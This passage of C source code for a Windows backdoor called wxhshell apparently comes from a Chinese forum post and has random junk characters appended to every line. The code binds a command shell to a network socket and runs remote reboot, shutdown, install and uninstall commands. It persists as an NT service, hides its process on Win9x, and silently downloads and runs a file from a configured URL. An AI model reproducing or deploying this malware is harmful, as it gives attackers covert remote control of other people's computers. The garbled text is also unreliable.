  {:nQl}  
  // 帮助 ,|?CU r9Y  
  case '?': { ]q5`YB%_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3uu~p!2  
    break; <bck~E  
  } &QX`NO 6  
  // 安装 BI?@1q}:  
  case 'i': { zh I#f0c  
    if(Install()) 6M.;@t,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YV4#%I!<  
    else (6p]ZY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~tFqb<n  
    break; <|Yj%f  
    } qZEoiNH(Tj  
  // 卸载 M6r^L6$N  
  case 'r': { <+#o BN  
    if(Uninstall()) Z=5qX2fy1*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m(iR|Zx  
    else Q:C$&-$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :K82sCy%5  
    break; ^i)hm  
    } ''OfS D_g  
  // 显示 wxhshell 所在路径 lS^(&<{  
  case 'p': { =,!\~`^  
    char svExeFile[MAX_PATH]; cXMhq<GkAA  
    strcpy(svExeFile,"\n\r"); d@0Kr5_  
      strcat(svExeFile,ExeFile); iZ3W"Vd`b  
        send(wsh,svExeFile,strlen(svExeFile),0); !}+tdT(y  
    break; hJz):d>Im  
    } m9}AG Rj  
  // 重启 _/*U2.xS  
  case 'b': { Dq@2-Cv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `~UZU@/x  
    if(Boot(REBOOT)) mV^Zy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[~w0G~1  
    else { %Pqk63QF  
    closesocket(wsh); $eV$2p3H  
    ExitThread(0); 9vNkZ-1  
    } 9~rUkHD  
    break; R1:k23{  
    } R2L;bGI*J  
  // 关机 3cS2gxF  
  case 'd': { o'~5pS(wq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '1fNBH2  
    if(Boot(SHUTDOWN)) Sw`RBN[ yo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!;'J/B@..  
    else { ]9=h%5Ji>  
    closesocket(wsh); R .[Z]-X  
    ExitThread(0); CxhY$%C (L  
    } F["wD O  
    break; rKHY?{!  
    } v1k)hFjPK  
  // 获取shell ffXyc2o  
  case 's': { bb42v7?  
    CmdShell(wsh); `I$<S(h 7  
    closesocket(wsh); Kz<@x`0   
    ExitThread(0); {k.MS-q  
    break; I]Tsz'T!9  
  } KD1=Y80P  
  // 退出 BYW^/B Y)  
  case 'x': { }),w1/#5u8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H_!4>G@  
    CloseIt(wsh); {u!)y?}I-  
    break; &bqT /H18  
    } xt'tL:d  
  // 离开 dw~p?[  
  case 'q': { 3Y)PU=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~A<H9Bw  
    closesocket(wsh); ;n=. {[,  
    WSACleanup(); o]{uc,  
    exit(1); hqk}akXt  
    break; $qF0ltUQ  
        } 7f<EoSK  
  } cH<q:OYi  
  } FLoNE>q  
!|2VWI}  
  // 提示信息 =.|J!x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E@a3~a  
} [ rNXQ` /  
  } wpA`(+J  
T9 <2A1  
  return; T{]~07N?  
} d|Gl`BG   
^ yh'lh/  
// shell模块句柄 o!E v;' D  
int CmdShell(SOCKET sock) e& ANp0|W  
{ RUCPV[{b  
STARTUPINFO si; (F7_S*  
ZeroMemory(&si,sizeof(si)); iFSJL,QZ3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x# ~ x;)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &X9Z W$C  
PROCESS_INFORMATION ProcessInfo; e98lhu"|H  
char cmdline[]="cmd"; V&soN:HS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .%'(9E  
  return 0; ES<1tG  
} GN#<yv$av  
`"iY*  
// 自身启动模式 Q@e[5RA +]  
int StartFromService(void) Mcw4!{l`  
{ n[Zz]IO,g  
typedef struct , "jbq~  
{ pqvOJ#?Q}=  
  DWORD ExitStatus; +^rh[>W  
  DWORD PebBaseAddress; W$JebW<z(  
  DWORD AffinityMask; 9 7%0;a8  
  DWORD BasePriority; JB</euyV  
  ULONG UniqueProcessId; a/~aFmu6b  
  ULONG InheritedFromUniqueProcessId; rzrl>9 h  
}   PROCESS_BASIC_INFORMATION; E'1+Yq  
{)- .xG  
PROCNTQSIP NtQueryInformationProcess; [w -{r+[  
YL jHt\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rI5F oh6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eLwTaW !C  
y#Ht{)C  
  HANDLE             hProcess; \&V0vN1  
  PROCESS_BASIC_INFORMATION pbi; c~A4gtB=  
"HD+rmUEH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sDqe(x}a  
  if(NULL == hInst ) return 0;  g]*  
/Y[~-Y+!,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PI A)d-Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4vK8kkW1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); STfyCtS  
[~W`E1,  
  if (!NtQueryInformationProcess) return 0; fsO9EEn7 X  
*IlaM'[*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yTE%hHH]&[  
  if(!hProcess) return 0; aYL|@R5;e  
[MX;,%;;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^/wfXm  
s )voII&  
  CloseHandle(hProcess); aI zv  
c_{z(W"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pDPxl?S  
if(hProcess==NULL) return 0; d lH$yub  
^\ ?O4,L  
HMODULE hMod; 1{pmKPu  
char procName[255]; M_B:{%4  
unsigned long cbNeeded; z2ms^Y=j  
Nd:R" p*8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \u`)kJ5o1  
: Ud[f`t  
  CloseHandle(hProcess); M|T4~Q U&  
"_L?2ta  
if(strstr(procName,"services")) return 1; // 以服务启动 ci,+Bjc  
]!1OH |Ad  
  return 0; // 注册表启动 +ww^ev%  
} ||2Q~*:  
hf!|\f  
// 主模块 < V\Y@Ei+  
int StartWxhshell(LPSTR lpCmdLine) 7RU}FE  
{ ~:;3uL s,8  
  SOCKET wsl; 9L%I<5i  
BOOL val=TRUE; MFJE6ei  
  int port=0; MgnM,95  
  struct sockaddr_in door; 2.}R  
!=Y;h[J.p  
  if(wscfg.ws_autoins) Install(); ~Y= @$!Uq  
$ E1Tb{'  
port=atoi(lpCmdLine); )j6eE+gF  
Q^}%c U0  
if(port<=0) port=wscfg.ws_port; ?<X(]I.j  
TL= YQA  
  WSADATA data; RKd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ydl jw  
O(2cWQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BOlAm*tFt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ue5O9;y]u  
  door.sin_family = AF_INET; U IJx*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x9>\(-uU  
  door.sin_port = htons(port); VCNT4m  
Mro4`GL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gLD`wfZR  
closesocket(wsl); v=Y K8fNi  
return 1; Pvo#pY^dXX  
} h>S[^ -,  
7&}P{<}o^  
  if(listen(wsl,2) == INVALID_SOCKET) { iY[+Ywh  
closesocket(wsl); ske@uzAz  
return 1; v|Jlf$>  
} h SqY$P  
  Wxhshell(wsl); &Y|Xd4:  
  WSACleanup(); x!S;SU  
n_[i0x7#  
return 0; .W\ve>;  
,cTgR78'  
} "yb WDWu  
z,;;=V6j  
// 以NT服务方式启动 8$P>wCK\l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .r|*Ch#;P  
{ jX=lAs~6  
DWORD   status = 0; @ $cUNvI  
  DWORD   specificError = 0xfffffff; ! U0z"  
qcB){p+UQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,a|@d} U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _68BP)nz>.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4Wel[]  
  serviceStatus.dwWin32ExitCode     = 0; <~Q i67I  
  serviceStatus.dwServiceSpecificExitCode = 0; A(6xg)_XQ  
  serviceStatus.dwCheckPoint       = 0; eOO+>%Z  
  serviceStatus.dwWaitHint       = 0; MlO-+}`_+  
4|J[Jdj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AG"l1wz  
  if (hServiceStatusHandle==0) return; 7l8[xV  
E +_&HG}a  
status = GetLastError(); l?N`{ ,1^  
  if (status!=NO_ERROR) ucYkxi`x  
{ c|p,/L09L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Aw ^yH+ae  
    serviceStatus.dwCheckPoint       = 0; Rz <OF^Iy  
    serviceStatus.dwWaitHint       = 0; +}7fg82)  
    serviceStatus.dwWin32ExitCode     = status; n"{X!(RIcx  
    serviceStatus.dwServiceSpecificExitCode = specificError; To"dG& h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D=?{8'R'  
    return; oT+(W,G  
  } }F1s tDx  
PB'0?b}fab  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J07O:cjyu  
  serviceStatus.dwCheckPoint       = 0; mLL$|  
  serviceStatus.dwWaitHint       = 0; %5</ d5.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Iq' O  
} ,4F,:w  
9V!-ZG  
// 处理NT服务事件,比如:启动、停止 `_AM` >_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M8W#io  
{ j\)H  
switch(fdwControl) W*T{,M@Y  
{   -/{af  
case SERVICE_CONTROL_STOP: <HoAj"xf  
  serviceStatus.dwWin32ExitCode = 0; q|#MB7e/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t\y-T$\\  
  serviceStatus.dwCheckPoint   = 0; v#w_eqg  
  serviceStatus.dwWaitHint     = 0; gtU1'p"  
  { kl7A^0Qrz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a% ,fXp>  
  } q=c/B(II!  
  return; /lD?VE  
case SERVICE_CONTROL_PAUSE: [$\>~nj=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; : iCM=k  
  break; XF,<i1ZlM  
case SERVICE_CONTROL_CONTINUE: )q^ Bj$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P;91~``b-  
  break; e1 a*'T$z  
case SERVICE_CONTROL_INTERROGATE: 0Oxz3r%}r  
  break; hb^!LtF#Y  
}; xxX/y2\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CMVS W6  
} 8[5|_Eh+  
Lyoor1   
// 标准应用程序主函数 QXQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bku' H  
{ UVX"fZ)  
IsYP0(L  
// 获取操作系统版本 3B9nP._  
OsIsNt=GetOsVer(); YB!!/ SX4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (!zM\sF  
Z!\@%`0$  
  // 从命令行安装 xfHyC'?  
  if(strpbrk(lpCmdLine,"iI")) Install(); #s"B-sWE  
#}o<v|;  
  // 下载执行文件 'Ji+c  
if(wscfg.ws_downexe) { 2w1tK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g()m/KS<  
  WinExec(wscfg.ws_filenam,SW_HIDE); xPQL?.  
} jXIEp01  
p5*lEz|$  
if(!OsIsNt) { =MSu3<y,  
// 如果时win9x,隐藏进程并且设置为注册表启动 m6n hC  
HideProc(); qi=3L  
StartWxhshell(lpCmdLine); :c4kBl%gJ  
} kV)' a  
else Fj=NiZ=  
  if(StartFromService()) 0'yyfz  
  // 以服务方式启动 U"5q;9#q  
  StartServiceCtrlDispatcher(DispatchTable); ])$S\fFm  
else tV`&- H  
  // 普通方式启动 Pz473d  
  StartWxhshell(lpCmdLine); {'~sS  
,IjdO(?TC  
return 0; \C/z%Hf7-  
}
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只看该作者 1 发表于: 2006-10-10
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